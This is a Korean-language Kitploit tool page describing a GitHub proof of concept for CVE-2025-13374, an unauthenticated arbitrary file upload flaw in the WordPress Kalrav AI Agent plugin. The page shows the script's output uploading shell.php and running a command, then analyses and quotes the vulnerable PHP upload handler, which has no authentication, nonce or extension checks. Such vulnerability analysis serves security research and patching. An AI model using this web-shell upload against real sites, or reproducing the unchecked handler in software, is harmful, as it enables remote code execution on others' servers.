Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-13374 — Kalrav AI Agent <= 2.3.3 - kalrav_upload_file AJAX Action을 통한 인증되지 않은 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/d0n601/cve-2025-13374
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubd0n601/cve-2025-13374

CVE-2025-13374

Kalrav AI Agent <= 2.3.3 - kalrav_upload_file AJAX Action을 통한 인증되지 않은 임의 파일 업로드

저장소 보기
29개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Kalrav AI Agent <= 2.3.3 - kalrav_upload_file AJAX 액션을 통한 인증되지 않은 임의 파일 업로드

워드프레스 Kalrav AI Agent 플러그인(버전 2.3.3 및 이전 버전)에는 인증되지 않은 사용자가 서버에 악성 PHP 파일을 업로드하여 원격 코드 실행으로 이어질 수 있는 임의 파일 업로드 취약점이 있습니다.

TL;DR 익스플로잇

원격 공격자가 shell.php를 업로드하고 원격 코드를 실행하는 과정을 보여주는 POC CVE-2025-13374.py가 제공됩니다:

root@kitploit:~
python3 ./CVE-2025-13374.py http://techcorp.cc
[+] Target: http://techcorp.cc
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/plugins/kalrav-ai-agent/uploads/1763247725-shell.php
[+] Command output:
www-data

기술 설명

이 취약점은 /wp-admin/admin-ajax.php 엔드포인트의 kalrav_upload_file() 함수에 존재합니다. 업로드 기능에는 적절한 파일 검증, 논스(nonce) 검증, 권한 검사가 부재합니다. 이를 통해 인증되지 않은 사용자가 서버에서 실행될 수 있는 PHP 파일을 포함한 임의의 파일을 업로드할 수 있습니다.

공격 경로 분석

소스: $_FILES['file']의 사용자 입력 (line 978) 싱크: move_uploaded_file($_FILES['file']['tmp_name'], $target_path) (line 982)

취약점은 다음과 같은 이유로 발생합니다:

  1. 경로 등록: 업로드 엔드포인트는 wp_ajax_nopriv_kalrav_upload_file 훅(line 967)을 통해 등록되어 인증되지 않은 접근을 허용합니다.
  2. 인증 없음: wp_ajax_nopriv_ 접두사 덕분에 인증되지 않은 사용자가 함수에 접근할 수 있습니다.
  3. 논스 검증 없음: 함수에는 논스 검증을 통한 CSRF 보호 기능이 없습니다.
  4. 권한 검사 없음: 파일 업로드를 허용하기 전에 권한 검증이 수행되지 않습니다.
  5. 입력 처리: $_FILES['file']의 사용자 제어 파일 데이터가 검증 없이 직접 처리됩니다.
  6. 파일 처리: basename()을 사용한 기본적인 파일명 정화만 적용됩니다: time() . '-' . basename($_FILES['file']['name']) (line 979). 이는 디렉터리 트래버설만 방지할 뿐 파일 확장자는 검증하지 않습니다.
  7. 파일 저장: 파일은 wp-content/plugins/kalrav-ai-agent/uploads/에 저장됩니다.

취약 코드 위치

파일: kalrav-ai-agent.php 라인: 969-996

root@kitploit:~
add_action('wp_ajax_kalrav_upload_file', 'kalrav_upload_file');
add_action('wp_ajax_nopriv_kalrav_upload_file', 'kalrav_upload_file');  

function kalrav_upload_file()
{
    // Path to your plugin uploads folder
    $upload_dir = plugin_dir_path(__FILE__) . 'uploads/';

    if (!file_exists($upload_dir)) {
        mkdir($upload_dir, 0755, true);
    }

    if (!empty($_FILES['file']['name'])) { 
        $file_name = time() . '-' . basename($_FILES['file']['name']);  
        $target_path = $upload_dir . $file_name;

        if (move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) { 
            wp_send_json_success([
                'message' => 'File uploaded successfully!',
                'file_path' => $target_path,
                'url' => plugins_url('uploads/' . $file_name, __FILE__)  
            ]);
        } else {
            wp_send_json_error(['message' => 'Failed to move uploaded file.']);
        }
    } else {
        wp_send_json_error(['message' => 'No file uploaded.']);
    }

    wp_die();
}
도구 다운로드